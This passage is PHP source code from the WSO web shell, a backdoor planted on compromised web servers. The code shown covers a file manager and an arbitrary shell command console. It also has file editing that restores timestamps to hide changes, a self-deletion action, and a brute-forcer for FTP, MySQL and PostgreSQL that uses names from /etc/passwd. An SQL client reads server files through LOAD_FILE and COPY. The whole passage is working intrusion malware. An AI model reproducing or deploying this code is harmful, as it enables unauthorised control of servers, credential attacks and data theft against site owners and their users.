                    chdir($_COOKIE['c']);
631
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
632
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
633
                    chdir($GLOBALS['cwd']);
634
				}
635
				unset($_COOKIE['f']);
636
                setcookie('f', '', time() - 3600);
637
				break;
638
			default:
639
                if(!empty($_POST['p1'])) {
640
					WSOsetcookie('act', $_POST['p1']);
641
					WSOsetcookie('f', serialize(@$_POST['f']));
642
					WSOsetcookie('c', @$_POST['c']);
643
				}
644
				break;
645
		}
646
	}
647
    wsoHeader();
648
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
649
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
650
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
651
	global $sort;
652
	$sort = array('name', 1);
653
	if(!empty($_POST['p1'])) {
654
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
655
			$sort = array($match[1], (int)$match[2]);
656
	}
657
echo "<script>
658
	function sa() {
659
		for(i=0;i<d.files.elements.length;i++)
660
			if(d.files.elements[i].type == 'checkbox')
661
				d.files.elements[i].checked = d.files.elements[0].checked;
662
	}
663
</script>
664
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
665
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
666
	$dirs = $files = array();
667
	$n = count($dirContent);
668
	for($i=0;$i<$n;$i++) {
669
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
670
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
671
		$tmp = array('name' => $dirContent[$i],
672
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
673
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
674
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
675
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
676
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
677
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
678
					);
679
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
680
			$files[] = array_merge($tmp, array('type' => 'file'));
681
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
682
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
683
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
684
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
685
	}
686
	$GLOBALS['sort'] = $sort;
687
	function wsoCmp($a, $b) {
688
		if($GLOBALS['sort'][0] != 'size')
689
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
690
		else
691
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
692
	}
693
	usort($files, "wsoCmp");
694
	usort($dirs, "wsoCmp");
695
	$files = array_merge($dirs, $files);
696
	$l = 0;
697
	foreach($files as $f) {
698
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
699
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
700
		$l = $l?0:1;
701
	}
702
	echo "<tr><td colspan=7>
703
	<input type=hidden name=a value='FilesMan'>
704
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
705
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
706
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
707
    if(class_exists('ZipArchive'))
708
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
709
    echo "<option value='tar'>Compress (tar.gz)</option>";
710
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
711
        echo "<option value='paste'>Paste / Compress</option>";
712
    echo "</select>&nbsp;";
713
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
714
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
715
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
716
	wsoFooter();
717
}
718
719
function actionStringTools() {
720
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
721
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
722
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
723
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
724
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
725
	$stringTools = array(
726
		'Base64 encode' => 'base64_encode',
727
		'Base64 decode' => 'base64_decode',
728
		'Url encode' => 'urlencode',
729
		'Url decode' => 'urldecode',
730
		'Full urlencode' => 'full_urlencode',
731
		'md5 hash' => 'md5',
732
		'sha1 hash' => 'sha1',
733
		'crypt' => 'crypt',
734
		'CRC32' => 'crc32',
735
		'ASCII to HEX' => 'ascii2hex',
736
		'HEX to ASCII' => 'hex2ascii',
737
		'HEX to DEC' => 'hexdec',
738
		'HEX to BIN' => 'hex2bin',
739
		'DEC to HEX' => 'dechex',
740
		'DEC to BIN' => 'decbin',
741
		'BIN to HEX' => 'binhex',
742
		'BIN to DEC' => 'bindec',
743
		'String to lower case' => 'strtolower',
744
		'String to upper case' => 'strtoupper',
745
		'Htmlspecialchars' => 'htmlspecialchars',
746
		'String length' => 'strlen',
747
	);
748
	if(isset($_POST['ajax'])) {
749
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
750
		ob_start();
751
		if(in_array($_POST['p1'], $stringTools))
752
			echo $_POST['p1']($_POST['p2']);
753
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
754
		echo strlen($temp), "\n", $temp;
755
		exit;
756
	}
757
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
758
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
759
	wsoHeader();
760
	echo '<h1>String conversions</h1><div class=content>';
761
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
762
	foreach($stringTools as $k => $v)
763
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
764
		echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
765
	if(!empty($_POST['p1'])) {
766
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
767
	}
768
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
769
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
770
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
771
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
772
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
773
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
774
			</table></form>";
775
776
	function wsoRecursiveGlob($path) {
777
		if(substr($path, -1) != '/')
778
			$path.='/';
779
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
780
		if(is_array($paths)&&@count($paths)) {
781
			foreach($paths as $item) {
782
				if(@is_dir($item)){
783
					if($path!=$item)
784
						wsoRecursiveGlob($item);
785
				} else {
786
					if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
787
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
788
				}
789
			}
790
		}
791
	}
792
	if(@$_POST['p3'])
793
		wsoRecursiveGlob($_POST['c']);
794
	echo "</div><br><h1>Search for hash:</h1><div class=content>
795
		<form method='post' target='_blank' name='hf'>
796
			<input type='text' name='hash' style='width:200px;'><br>
797
            <input type='hidden' name='act' value='find'/>
798
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
799
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
800
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
801
		</form></div>";
802
	wsoFooter();
803
}
804
805
function actionFilesTools() {
806
	if( isset($_POST['p1']) )
807
		$_POST['p1'] = urldecode($_POST['p1']);
808
	if(@$_POST['p2']=='download') {
809
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
810
			ob_start("ob_gzhandler", 4096);
811
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
812
			if (function_exists("mime_content_type")) {
813
				$type = @mime_content_type($_POST['p1']);
814
				header("Content-Type: " . $type);
815
			} else
816
                header("Content-Type: application/octet-stream");
817
			$fp = @fopen($_POST['p1'], "r");
818
			if($fp) {
819
				while(!@feof($fp))
820
					echo @fread($fp, 1024);
821
				fclose($fp);
822
			}
823
		}exit;
824
	}
825
	if( @$_POST['p2'] == 'mkfile' ) {
826
		if(!file_exists($_POST['p1'])) {
827
			$fp = @fopen($_POST['p1'], 'w');
828
			if($fp) {
829
				$_POST['p2'] = "edit";
830
				fclose($fp);
831
			}
832
		}
833
	}
834
	wsoHeader();
835
	echo '<h1>File tools</h1><div class=content>';
836
	if( !file_exists(@$_POST['p1']) ) {
837
		echo 'File not exists';
838
		wsoFooter();
839
		return;
840
	}
841
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
842
	if(!$uid) {
843
		$uid['name'] = @fileowner($_POST['p1']);
844
		$gid['name'] = @filegroup($_POST['p1']);
845
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
846
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
847
	echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
848
	if( empty($_POST['p2']) )
849
		$_POST['p2'] = 'view';
850
	if( is_file($_POST['p1']) )
851
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
852
	else
853
		$m = array('Chmod', 'Rename', 'Touch');
854
	foreach($m as $v)
855
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
856
	echo '<br><br>';
857
	switch($_POST['p2']) {
858
		case 'view':
859
			echo '<pre class=ml1>';
860
			$fp = @fopen($_POST['p1'], 'r');
861
			if($fp) {
862
				while( !@feof($fp) )
863
					echo htmlspecialchars(@fread($fp, 1024));
864
				@fclose($fp);
865
			}
866
			echo '</pre>';
867
			break;
868
		case 'highlight':
869
			if( @is_readable($_POST['p1']) ) {
870
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
871
				$code = @highlight_file($_POST['p1'],true);
872
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
873
			}
874
			break;
875
		case 'chmod':
876
			if( !empty($_POST['p3']) ) {
877
				$perms = 0;
878
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
879
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
880
				if(!@chmod($_POST['p1'], $perms))
881
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
882
			}
883
			clearstatcache();
884
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
885
			break;
886
		case 'edit':
887
			if( !is_writable($_POST['p1'])) {
888
				echo 'File isn\'t writeable';
889
				break;
890
			}
891
			if( !empty($_POST['p3']) ) {
892
				$time = @filemtime($_POST['p1']);
893
				$_POST['p3'] = substr($_POST['p3'],1);
894
				$fp = @fopen($_POST['p1'],"w");
895
				if($fp) {
896
					@fwrite($fp,$_POST['p3']);
897
					@fclose($fp);
898
					echo 'Saved!<br><script>p3_="";</script>';
899
					@touch($_POST['p1'],$time,$time);
900
				}
901
			}
902
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
903
			$fp = @fopen($_POST['p1'], 'r');
904
			if($fp) {
905
				while( !@feof($fp) )
906
					echo htmlspecialchars(@fread($fp, 1024));
907
				@fclose($fp);
908
			}
909
			echo '</textarea><input type=submit value=">>"></form>';
910
			break;
911
		case 'hexdump':
912
			$c = @file_get_contents($_POST['p1']);
913
			$n = 0;
914
			$h = array('00000000<br>','','');
915
			$len = strlen($c);
916
			for ($i=0; $i<$len; ++$i) {
917
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
918
				switch ( ord($c[$i]) ) {
919
					case 0:  $h[2] .= ' '; break;
920
					case 9:  $h[2] .= ' '; break;
921
					case 10: $h[2] .= ' '; break;
922
					case 13: $h[2] .= ' '; break;
923
					default: $h[2] .= $c[$i]; break;
924
				}
925
				$n++;
926
				if ($n == 32) {
927
					$n = 0;
928
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
929
					$h[1] .= '<br>';
930
					$h[2] .= "\n";
931
				}
932
		 	}
933
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
934
			break;
935
		case 'rename':
936
			if( !empty($_POST['p3']) ) {
937
				if(!@rename($_POST['p1'], $_POST['p3']))
938
					echo 'Can\'t rename!<br>';
939
				else
940
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
941
			}
942
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
943
			break;
944
		case 'touch':
945
			if( !empty($_POST['p3']) ) {
946
				$time = strtotime($_POST['p3']);
947
				if($time) {
948
					if(!touch($_POST['p1'],$time,$time))
949
						echo 'Fail!';
950
					else
951
						echo 'Touched!';
952
				} else echo 'Bad time format!';
953
			}
954
			clearstatcache();
955
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
956
			break;
957
	}
958
	echo '</div>';
959
	wsoFooter();
960
}
961
962
function actionConsole() {
963
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
964
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
965
        $_POST['p1'] .= ' 2>&1';
966
    } elseif(!empty($_POST['p1']))
967
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
968
969
	if(isset($_POST['ajax'])) {
970
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
971
		ob_start();
972
		echo "d.cf.cmd.value='';\n";
973
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
974
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
975
			if(@chdir($match[1])) {
976
				$GLOBALS['cwd'] = @getcwd();
977
				echo "c_='".$GLOBALS['cwd']."';";
978
			}
979
		}
980
		echo "d.cf.output.value+='".$temp."';";
981
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
982
		$temp = ob_get_clean();
983
		echo strlen($temp), "\n", $temp;
984
		exit;
985
	}
986
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
987
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
988
	wsoHeader();
989
    echo "<script>
990
if(window.Event) window.captureEvents(Event.KEYDOWN);
991
var cmds = new Array('');
992
var cur = 0;
993
function kp(e) {
994
	var n = (window.Event) ? e.which : e.keyCode;
995
	if(n == 38) {
996
		cur--;
997
		if(cur>=0)
998
			document.cf.cmd.value = cmds[cur];
999
		else
1000
			cur++;
1001
	} else if(n == 40) {
1002
		cur++;
1003
		if(cur < cmds.length)
1004
			document.cf.cmd.value = cmds[cur];
1005
		else
1006
			cur--;
1007
	}
1008
}
1009
function add(cmd) {
1010
	cmds.pop();
1011
	cmds.push(cmd);
1012
	cmds.push('');
1013
	cur = cmds.length-1;
1014
}
1015
</script>";
1016
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1017
	foreach($GLOBALS['aliases'] as $n => $v) {
1018
		if($v == '') {
1019
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1020
			continue;
1021
		}
1022
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1023
	}
1024
	
1025
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1026
	if(!empty($_POST['p1'])) {
1027
		echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1028
	}
1029
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1030
	echo '</form></div><script>d.cf.cmd.focus();</script>';
1031
	wsoFooter();
1032
}
1033
1034
function actionLogout() {
1035
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1036
	die('bye!');
1037
}
1038
1039
function actionSelfRemove() {
1040
1041
	if($_POST['p1'] == 'yes')
1042
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1043
			die('Shell removed');
1044
		else
1045
			echo 'unlink error!';
1046
    if($_POST['p1'] != 'yes')
1047
        wsoHeader();
1048
	echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1049
	wsoFooter();
1050
}
1051
function actionBruteforce() {
1052
	wsoHeader();
1053
	if( isset($_POST['proto']) ) {
1054
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1055
		if( $_POST['proto'] == 'ftp' ) {
1056
			function wsoBruteForce($ip,$port,$login,$pass) {
1057
				$fp = @ftp_connect($ip, $port?$port:21);
1058
				if(!$fp) return false;
1059
				$res = @ftp_login($fp, $login, $pass);
1060
				@ftp_close($fp);
1061
				return $res;
1062
			}
1063
		} elseif( $_POST['proto'] == 'mysql' ) {
1064
			function wsoBruteForce($ip,$port,$login,$pass) {
1065
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
1066
				@mysql_close($res);
1067
				return $res;
1068
			}
1069
		} elseif( $_POST['proto'] == 'pgsql' ) {
1070
			function wsoBruteForce($ip,$port,$login,$pass) {
1071
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1072
				$res = @pg_connect($str);
1073
				@pg_close($res);
1074
				return $res;
1075
			}
1076
		}
1077
		$success = 0;
1078
		$attempts = 0;
1079
		$server = explode(":", $_POST['server']);
1080
		if($_POST['type'] == 1) {
1081
			$temp = @file('/etc/passwd');
1082
			if( is_array($temp) )
1083
				foreach($temp as $line) {
1084
					$line = explode(":", $line);
1085
					++$attempts;
1086
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1087
						$success++;
1088
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1089
					}
1090
					if(@$_POST['reverse']) {
1091
						$tmp = "";
1092
						for($i=strlen($line[0])-1; $i>=0; --$i)
1093
							$tmp .= $line[0][$i];
1094
						++$attempts;
1095
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1096
							$success++;
1097
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1098
						}
1099
					}
1100
				}
1101
		} elseif($_POST['type'] == 2) {
1102
			$temp = @file($_POST['dict']);
1103
			if( is_array($temp) )
1104
				foreach($temp as $line) {
1105
					$line = trim($line);
1106
					++$attempts;
1107
					if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1108
						$success++;
1109
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1110
					}
1111
				}
1112
		}
1113
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1114
	}
1115
	echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1116
		.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1117
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1118
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1119
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1120
		.'<span>Server:port</span></td>'
1121
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1122
		.'<tr><td><span>Brute type</span></td>'
1123
		.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1124
		.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1125
		.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1126
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1127
		.'<td><input type=text name=login value="root"></td></tr>'
1128
		.'<tr><td><span>Dictionary</span></td>'
1129
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1130
		.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1131
	echo '</div><br>';
1132
	wsoFooter();
1133
}
1134
1135
function actionSql() {
1136
	class DbClass {
1137
		var $type;
1138
		var $link;
1139
		var $res;
1140
		function DbClass($type)	{
1141
			$this->type = $type;
1142
		}
1143
		function connect($host, $user, $pass, $dbname){
1144
			switch($this->type)	{
1145
				case 'mysql':
1146
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1147
					break;
1148
				case 'pgsql':
1149
					$host = explode(':', $host);
1150
					if(!$host[1]) $host[1]=5432;
1151
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1152
					break;
1153
			}
1154
			return false;
1155
		}
1156
		function selectdb($db) {
1157
			switch($this->type)	{
1158
				case 'mysql':
1159
					if (@mysql_select_db($db))return true;
1160
					break;
1161
			}
1162
			return false;
1163
		}
1164
		function query($str) {
1165
			switch($this->type) {
1166
				case 'mysql':
1167
					return $this->res = @mysql_query($str);
1168
					break;
1169
				case 'pgsql':
1170
					return $this->res = @pg_query($this->link,$str);
1171
					break;
1172
			}
1173
			return false;
1174
		}
1175
		function fetch() {
1176
			$res = func_num_args()?func_get_arg(0):$this->res;
1177
			switch($this->type)	{
1178
				case 'mysql':
1179
					return @mysql_fetch_assoc($res);
1180
					break;
1181
				case 'pgsql':
1182
					return @pg_fetch_assoc($res);
1183
					break;
1184
			}
1185
			return false;
1186
		}
1187
		function listDbs() {
1188
			switch($this->type)	{
1189
				case 'mysql':
1190
                        return $this->query("SHOW databases");
1191
				break;
1192
				case 'pgsql':
1193
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1194
				break;
1195
			}
1196
			return false;
1197
		}
1198
		function listTables() {
1199
			switch($this->type)	{
1200
				case 'mysql':
1201
					return $this->res = $this->query('SHOW TABLES');
1202
				break;
1203
				case 'pgsql':
1204
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1205
				break;
1206
			}
1207
			return false;
1208
		}
1209
		function error() {
1210
			switch($this->type)	{
1211
				case 'mysql':
1212
					return @mysql_error();
1213
				break;
1214
				case 'pgsql':
1215
					return @pg_last_error();
1216
				break;
1217
			}
1218
			return false;
1219
		}
1220
		function setCharset($str) {
1221
			switch($this->type)	{
1222
				case 'mysql':
1223
					if(function_exists('mysql_set_charset'))
1224
						return @mysql_set_charset($str, $this->link);
1225
					else
1226
						$this->query('SET CHARSET '.$str);
1227
					break;
1228
				case 'pgsql':
1229
					return @pg_set_client_encoding($this->link, $str);
1230
					break;
1231
			}
1232
			return false;
1233
		}
1234
		function loadFile($str) {
1235
			switch($this->type)	{
1236
				case 'mysql':
1237
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1238
				break;
1239
				case 'pgsql':
1240
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1241
					$r=array();
1242
					while($i=$this->fetch())
1243
						$r[] = $i['file'];
1244
					$this->query('drop table wso2');
1245
					return array('file'=>implode("\n",$r));
1246
				break;
1247
			}
1248
			return false;
1249
		}
1250
		function dump($table, $fp = false) {
1251
			switch($this->type)	{
1252
				case 'mysql':
1253
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1254
					$create = mysql_fetch_array($res);
1255
					$sql = $create[1].";\n";
1256
                    if($fp) fwrite($fp, $sql); else echo($sql);
1257
					$this->query('SELECT * FROM `'.$table.'`');
1258
                    $i = 0;
